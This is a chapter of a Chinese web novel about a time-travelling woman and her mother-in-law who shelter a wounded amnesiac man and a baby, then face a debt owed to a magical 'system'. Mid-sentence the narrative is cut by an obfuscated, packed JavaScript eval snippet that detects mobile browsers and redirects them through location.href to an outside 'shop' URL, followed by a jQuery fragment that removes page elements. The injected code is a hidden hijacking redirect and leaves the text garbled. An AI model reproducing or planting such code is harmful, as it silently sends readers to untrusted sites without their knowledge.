“砰!”
本就破烂的屋门根本就经不起来人这一脚,瞬间劈裂成两半。
几个手持大刀的官兵挤进屋内,满脸凶狠,还带着些许不耐烦,率先厉喝出声的是为首的官兵。
“你们是什么人?有没有见过一个受伤的男人,还有一个小孩?”
棠梨下意识瞥了一眼墙角隐蔽在黑暗中的干草堆,心脏紧张的似乎要从喉咙里涌出来。
那堆干草下藏着那个男人和孩子,万一孩子醒来哭出声……
“军爷饶命啊!我们没瞅见啥人。”
站在她前面离官兵最近的王翠花扑通一声跪在地上,在官兵看清屋内之前,不多不少地盖住地上的血迹。
随即眼珠子提溜转了一圈,立刻变脸换上一副悲苦绝望的表情,拍着地板老泪纵横地哭泣起来:“老婆子我就是个老实的庄稼人!我那苦命的女儿还染上了瘟疫,怕是活不长了,我们娘俩就是在这慢慢等死的,绝对不敢惹军爷生气啊!”
说着,她一边哭一边侧过头给身后的棠梨使眼色。
棠梨会意,立刻配合起婆婆的表演,蹙着眉捂着胸口剧烈咳嗽起来,整个人缩成一团,加上惨白的小脸,看起来确实像个命不久矣的病人。
在古代如此不发达的医疗条件下,瘟疫是会传染死人的,官兵们也不傻,见状慌忙掩住口鼻,满脸嫌恶。
“真是晦气!走!去别的地方搜!”
直到这群官兵的脚步声走远了,冷风从破门灌进来直袭面门,棠梨才这才缓过神,松了一口气,瘫倒在地,
男人醒来时,天色已大亮。
他头痛欲裂,脑袋一片昏沉,缓缓睁开眼,眸中是锐利地警惕。
“呦,醒了?”
王翠花捧着汤饭蹲在干草堆旁边,端着一副理所当然救命恩人的姿态。三日前要不是她眼疾手快把男人和孩子塞到里面,他们早就被官兵抓走了。
她趁男人昏迷时,偷偷搜遍了他全身上下,除了几道深可见骨的刀伤,连半块银子都没摸到,更别提她心心念念的富贵人家能随手掏出来赏人的黄金玉佩了。
此刻见男人醒来,她虽然端着笑,心里却大失所望,早知道就把他丢给官兵了,自己真是看走眼了。
这哪是什么富贵公子?分明就是个穷光蛋!
男人理都不理王翠花,只挣扎着坐起身,执着地在周围摸索。
“那孩子我儿……闺女在偏房照看着呢,能吃能睡的。”
王翠花没好气地吐出嘴里的枣核,转头就向身后端着药碗走来的棠梨抱怨:“你看你!非要跟那什么桶……桶神仙换这劳什子汤药,这待多少钱啊?卖了咱们娘俩加上这间破屋子也不够还的,你们年轻人就是浪费,花钱大手大脚的……”
棠梨一来,男人的目光率先落在她身上,眯了眯眼打量着,像是极力在辨认什么。
再睁开眼,眼中已是一副迷茫之色。
“还不是你招来的富贵险?”棠梨白了王翠花一眼,将药碗递给男人。
“喝了吧,治你身上伤的。”
“多谢……”
男人一开口,声音还带着几分虚弱和沙哑:“你是谁?这里是何处……”
“哼!你装什么失忆?”
王翠花一下子像个点燃的炮仗似的,撂下碗就跳起来指着男人鼻子骂。
“你个负心汉!当初抛弃我闺女,一个人带着孩子在外面逍遥!要不是老婆子我心善,早就把你这个负心汉扔出去喂狗了!你还有脸问我们俩是谁?”
“?”
棠梨嘴角抽搐,她这戏精婆婆又开始演了……
男人愣住了,下意识想要反驳,但一动弹身上的刀口就泛着隐痛,几处深可见骨的伤已经不再流血,显然是用了上好的药,精心照料过的。
“我……”
他迟疑了一下,随即认下了这负心汉的罪名。
身上渐渐被治愈的伤能证明眼前这母女俩确实救了他,而且还花了不少钱,是实打实的救命之恩。
“从前的事,我记不清了……”男人低下头,言语诚恳道:“救命之恩,我是一定会还的,二位如果不嫌弃,我愿意留下来干活,偿还药钱。”
“算你有点良心!”
王翠花听到想要的话,眼睛一下子变得笑眯眯的,虽然没捞到富贵,但好歹还捡到个壮丁!
“行了,既然醒了,那就赶紧把外头的柴劈了,还有那屋顶还漏着风呢,你也给修修,咱家可不养闲人!”
“别闹了妈,他伤还没好。”
棠梨将默默喝完药,挣扎着起身要去劈柴的男人摁回草榻上。
说完,又拉着一脸不情愿的王翠花走到屋角,压低声音劝道:“妈,你别再骗他了,等他伤好就让他和孩子一起走吧,万一以后他想起来……”
“没有万一!”
王翠花哼地一声打断棠梨的话,“你懂什么?他花了咱的钱就要给咱干活!真当是吃白食的呀?”
“再说了,要不是看他带来的小团子可爱,我是一刻也不想留他!”
小团子是她自作主张给那个婴孩起的小名。
王翠花越说越心酸,眼睛里都挤出些许泪花,“这也怨你,上辈子也没为我儿子留个后……你是知道的,我做梦都想要抱上孙女,肯定是老天爷看我可怜,这才通过这种方式把我孙女送到我身边,你不知道这小团子叫我祖母时
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17315228|198935||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
有多甜……”
王翠花一言蔽之,“我不管!反正你如果要把小团子从我身边赶走,那我这把老骨头也不活了!”
这副油盐不进执拗的模样,棠梨自知再说什么都没用,只好无奈叹气由她去了。
接下来的几日,虽然男人被棠梨强制休息,但是还是趁她不注意偷偷做些劈柴倒水的杂活,因为不知道他的名字,王翠花便又自作主张给他起了个外号,看他一身牛劲,满院子阿牛阿牛地使唤他。
阿牛也丝毫没有怨言,不爱说话却实打实的干活,村里的街坊都明里暗里嘲笑她和王翠花自己都落魄到住四面漏风的房子了,还多管闲事捡了个只有力气的大傻子和小累赘。
但棠梨心知肚明,按照她读过的小说套路,阿牛的身份一定不一般,虽然他现在记忆没有恢复,但危险的东西她向来不愿沾染分毫。
所以棠梨对阿牛始终淡淡的,但也不知道王翠花又在他跟前添油加醋地胡扯了些什么,阿牛好像更加坚信是自己以前伤透了她的心,发誓要好好补偿棠梨,干活干的更加卖力了,拦都拦不住。
日子过得很快,等到熟悉的机械声再次在棠梨脑海里响起来的时候,她才想起来之前向系统借的给阿牛治病的钱还没还。
【警告宿主!欠款已逾期,加上利息一共一百两,若五日内再不偿还,将抹除宿主和全家的生存时长!】
“一百两?”
棠梨惊讶地差点叫出声,系统这个奸商!就抓了几副汤药,简直是胡乱要价!
可所谓欠债还钱,天经地义,确实愁煞人啊……
于是,接下来的两天,棠梨便失魂落魄地坐在屋门口的门槛上,一坐就是一整天。
王翠花磕着瓜子路过问她咋了,棠梨只是垂头丧气不答,阿牛在不远处边修院门边时不时看棠梨一眼,生怕她是因为自己以前的混账往事想不开,虽然担忧但又不敢上前,害怕再次刺激到她。
直到有一天夜幕将垂,天上还零星飘着碎雪,有个背着书箱,衣衫简陋的穷书生下学堂,从院门前路过,边赶路边从衣襟里掏出半块冷硬的馒头,夹着两三咸菜,就着雪水三两口便囫囵吞咽下去。
书生如此贫寒,却仍在坚持做学问,可无论如何,人总要吃饭……
棠梨看着那书生渐走渐远的背影,突然想起来系统奖励的技能“我是灶台主理人”,灵光乍现。
“有了!”
她猛地站起身,差点站不稳摔倒,还好阿牛快步上前扶住她的腰,关切地问道:“怎么了?”
棠梨转过头看向他,眼眸带笑,像落入了细碎的星辰,闪烁着喜色。
“咱们有救了!一百两银子,我想到办法挣了!”